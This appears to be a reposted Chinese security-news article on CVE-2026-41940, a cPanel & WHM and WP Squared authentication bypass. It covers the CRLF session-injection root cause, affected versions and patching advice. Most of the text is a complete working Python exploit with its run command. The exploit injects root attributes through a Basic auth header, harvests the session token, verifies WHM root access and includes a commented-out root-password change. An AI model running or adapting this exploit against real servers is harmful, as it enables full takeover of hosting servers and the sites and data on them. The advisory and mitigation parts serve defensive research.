CVE-2026-41940 POC

admin 2026年5月9日09:22:12评论146 views字数 7235阅读24分7秒阅读模式

CVE-2026-41940 是一个严重的高危漏洞,影响 cPanel&WHM 和 WPSquared,允许未授权远程攻击者绕过身份验证获取管理员权限。该漏洞因会话文件写入时未净化输入导致 CRLF 注入,已被在野利用,官方已发布补丁。

一、概述

2026 年 4 月 28 日,cPanel 发布安全更新,修复 cPanel & WHM、WP Squared 高危严重漏洞。官方描述为会话加载与保存逻辑缺陷。

2026 年 4 月 29 日分配漏洞编号 CVE-2026-41940,CVSS 评分 9.8 满分高危。

  • • 未授权远程攻击者 无需登录
  • • 可绕过身份认证,直接获取服务器管理员权限
  • • cPanel 官方已发布厂商安全公告
• cPanel & WHM 是主流主机面板:
  • • WHM:服务器 root 级后台管理
  • • cPanel:普通用户网站管理前台漏洞利用成功后,攻击者可完全控制服务器、配置、数据库、所有托管网站。通过 Shodan 检索,全网约 150 台cPanel 设备暴露公网,存在受险可能。

知名主机厂商 KnownHost 证实:

该漏洞已在野外被实际利用,有迹象早在 2026 年 2 月 23 日(公开披露前)就已有0 日定向攻击。

安全厂商 watchTowr 已公开技术分析 + POC 利用代码,后续大概率会大规模泛滥攻击。

二、技术原理

对外暴露 cPanel 相关 Web 服务的设备默认就受影响。

漏洞根因:登录与会话加载流程中存在 CRLF 换行注入漏洞。

  1. 1. cPanel 核心服务 cpsrvd,在用户认证之前就会向磁盘写入会话文件;
  2. 2. 攻击者篡改 whostmgrsession Cookie,省略 Cookie 固定字段,绕过常规加密校验;
  3. 3. 攻击者通过 Basic 授权请求头 注入原生 rn 换行符;
  4. 4. 服务端未做输入净化,直接把恶意内容写入会话文件;
  5. 5. 攻击者可在会话文件中注入任意属性,例如 user=root;
  6. 6. 重新加载会话后,直接拿到管理员 /root 权限,完成身份绕过。

三、缓解修复建议

  1. 1. 自建机房 / 独立部署的 cPanel & WHM、WP Squared 紧急升级到修复版本;
  2. 2. 部分服务商临时封禁 2083、2087 端口(cPanel/WHM 网页端口)做临时应急;
  3. 3. 强烈建议直接打补丁,不推荐仅靠端口封堵做长期防护。

四、受影响版本

11.40 之后所有版本均受影响,以下为各分支修复基线版本,低于这些版本都有漏洞:

  • • cPanel & WHM 11.86.0  < 11.86.0.41
  • • cPanel & WHM 11.110.0 < 11.110.0.97
  • • cPanel & WHM 11.118.0 < 11.118.0.63
  • • cPanel & WHM 11.126.0 < 11.126.0.54
  • • cPanel & WHM 11.130.0 < 11.130.0.19
  • • cPanel & WHM 11.132.0 < 11.132.0.29
  • • cPanel & WHM 11.134.0 < 11.134.0.20
  • • cPanel & WHM 11.136.0 < 11.136.0.5
  • • WP Squared 全版本 < 136.1.7

五、资产检测

InsightVM、Nexpose、Exposure Command 等漏洞扫描器,在 2026-04-30 规则库更新 后,已支持授权检测该漏洞。

POC

获取shell

python watchTowr-vs-cPanel-WHM-AuthBypass-to-RCE.py --target https://目标IP:2087 shell
CVE-2026-41940 POC
import argparse
import base64
import json
import re
import sys
import urllib.parse
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


banner = """                     __         ___  ___________
         __  _  ______ _/  |__ ____ |  |_\\__    ____\\____  _  ________
         \\ \\/ \\/ \\__  \\    ___/ ___\\|  |  \\|    | /  _ \\ \\/ \\/ \\_  __ \\
          \\     / / __ \\|  | \\  \\___|   Y  |    |(  <_> \\     / |  | \\/
           \\/\\_/ (____  |__|  \\___  |___|__|__  | \\__  / \\/\\_/  |__|
                          \\/          \\/     \\/

        watchTowr-vs-cPanel-WHM-AuthBypass-to-RCE.py

        (*) cPanel/WHM Authentication Bypass - Detection Artifact Generator

          - Sina Kheirkhah (@SinSinology) of watchTowr (@watchTowrcyber)

        CVEs: [cve-2026-41940]
"""

print(banner)




# pre-built base64 of:
#   root:x\r\nsuccessful_internal_auth_with_timestamp=9999999999\r\nuser=root\r\ntfa_verified=1\r\nhasroot=1
PAYLOAD_B64 = (
    "cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5"
    "OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x"
)


def parse_target(url):
    u = urllib.parse.urlsplit(url.rstrip("/"))
    return u.scheme, u.hostname, u.port or 2087


def discover_canonical_host(scheme, host, port):
    # cpsrvd 307s us to the right hostname when our Host header is wrong
    try:
        r = requests.get(
            f"{scheme}://{host}:{port}/openid_connect/cpanelid",
            verify=False,
            allow_redirects=False,
            headers={"Connection": "close"},
            timeout=10,
        )
    except Exception as e:
        print(f"[!] couldn't reach the target: {e}")
        sys.exit(1)
    loc = r.headers.get("Location", "")
    m = re.match(r"^https?://([^:/]+)", loc)
    if m:
        return m.group(1)
    return host


def make_session():
    s = requests.Session()
    s.verify = False
    return s


def http(s, method, scheme, host, port, canonical, path, **kw):
    # always send to the IP, but spoof Host so cpsrvd doesn't redirect us
    headers = kw.pop("headers", {})
    headers.setdefault("Host", f"{canonical}:{port}")
    headers.setdefault("Connection", "close")
    return s.request(
        method,
        f"{scheme}://{host}:{port}{path}",
        headers=headers,
        allow_redirects=False,
        **kw,
    )


def stage1_preauth(s, scheme, host, port, canonical):
    print("[1] minting a preauth session...")
    r = http(s, "POST", scheme, host, port, canonical,
             "/login/?login_only=1",
             data={"user": "root", "pass": "wrong"})

    # need to get the cookie from the raw header (requests url-decodes it)
    cookie_value = None
    for k, v in r.raw.headers.items():
        if k.lower() == "set-cookie" and v.startswith("whostmgrsession="):
            cookie_value = v.split("=", 1)[1].split(";", 1)[0]
            cookie_value = urllib.parse.unquote(cookie_value)
            break

    if not cookie_value:
        print("[!] /login didn't issue a whostmgrsession cookie")
        sys.exit(1)

    # strip the ",<obhex>" tail. that's what makes the encoder skip pass on stage 2.
    if "," in cookie_value:
        session_base = cookie_value.split(",", 1)[0]
    else:
        session_base = cookie_value

    print(f"    session base = {session_base}")
    return session_base


def stage2_inject(s, scheme, host, port, canonical, session_base):
    print("[2] sending the CRLF injection (Basic auth + no-ob cookie)...")
    cookie_enc = urllib.parse.quote(session_base)
    r = http(s, "GET", scheme, host, port, canonical, "/",
             headers={
                 "Authorization": f"Basic {PAYLOAD_B64}",
                 "Cookie": f"whostmgrsession={cookie_enc}",
             })

    # the 307 leaks the cp_security_token in the Location header
    loc = r.headers.get("Location", "")
    m = re.search(r"/cpsess\d{10}", loc)
    if not m:
        print(f"[!] no /cpsess token leaked (HTTP {r.status_code}). target may be patched.")
        sys.exit(1)
    token = m.group(0)
    print(f"    HTTP {r.status_code}, leaked token = {token}")
    return token


def stage3_propagate(s, scheme, host, port, canonical, session_base):
    print("[3] firing do_token_denied to propagate raw -> cache...")
    cookie_enc = urllib.parse.quote(session_base)
    r = http(s, "GET", scheme, host, port, canonical, "/scripts2/listaccts",
             headers={"Cookie": f"whostmgrsession={cookie_enc}"})

    body = r.text or ""
    if r.status_code == 401 and ("Token denied" in body or "WHM Login" in body):
        print(f"    HTTP {r.status_code}, gadget fired")
    else:
        print(f"[!] do_token_denied didn't fire as expected (HTTP {r.status_code})")
        sys.exit(1)


def stage4_verify(s, scheme, host, port, canonical, session_base, token):
    print("[4] verifying we're WHM root...")
    cookie_enc = urllib.parse.quote(session_base)
    r = http(s, "GET", scheme, host, port, canonical,
             f"{token}/json-api/version",
             headers={"Cookie": f"whostmgrsession={cookie_enc}"})

    body = (r.text or "").strip()
    print(f"    /json-api/version -> HTTP {r.status_code}  {body[:120]}")
    if r.status_code == 200 and '"version"' in body:
        return True
    if r.status_code in (500, 503) and "License" in body:
        # license-gated but we got past auth
        return True
    return False


def call_whm_api(s, scheme, host, port, canonical, session_base, token, function, params):
    cookie_enc = urllib.parse.quote(session_base)
    qs = "api.version=1"
    for k, v in params.items():
        if v is None:
            continue
        qs += f"&{urllib.parse.quote(k)}={urllib.parse.quote(str(v))}"
    path = f"{token}/json-api/{function}?{qs}"
    r = http(s, "GET", scheme, host, port, canonical, path,
             headers={"Cookie": f"whostmgrsession={cookie_enc}"})

    print(f"    {function} -> HTTP {r.status_code}")
    body = r.text or ""
    try:
        j = json.loads(body)
        print(json.dumps(j, indent=2)[:1500])
    except Exception:
        print(body[:1500])





def do_passwd(s, scheme, host, port, canonical, session_base, token, password):
    print(f"[*] changing the root password")
    call_whm_api(s, scheme, host, port, canonical, session_base, token,
                 "passwd",
                 {"user": "root", "password": password})


parser = argparse.ArgumentParser()
parser.add_argument("--target", required=True, help="WHM URL, e.g. https://target:2087")
parser.add_argument("--hostname", default=None, help="override Host: header (auto-discovered if empty)")
#parser.add_argument("--password", required=True, help="new password for the root user")
args = parser.parse_args()




scheme, host, port = parse_target(args.target)
canonical = args.hostname or discover_canonical_host(scheme, host, port)
print(f"[0] hostname = {canonical}")

s = make_session()

session_base = stage1_preauth(s, scheme, host, port, canonical)
token = stage2_inject(s, scheme, host, port, canonical, session_base)
stage3_propagate(s, scheme, host, port, canonical, session_base)
if not stage4_verify(s, scheme, host, port, canonical, session_base, token):
    print("[!] auth bypass didn't land, not running the action")
    sys.exit(1)


#do_passwd(s, scheme, host, port, canonical, session_base, token, args.password)


print(f"[+] now just login to {args.target} and use the terminal option to get a root shell")

 

工具获取

https://github.com/xcc690/watchTowr-vs-cPanel-WHM-AuthBypass-to-RCE.py

原文始发于微信公众号(莫白AI安全团队):CVE-2026-41940 POC

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2026年5月9日09:22:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2026-41940 POChttp://cn-sec.com/archives/5221410.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息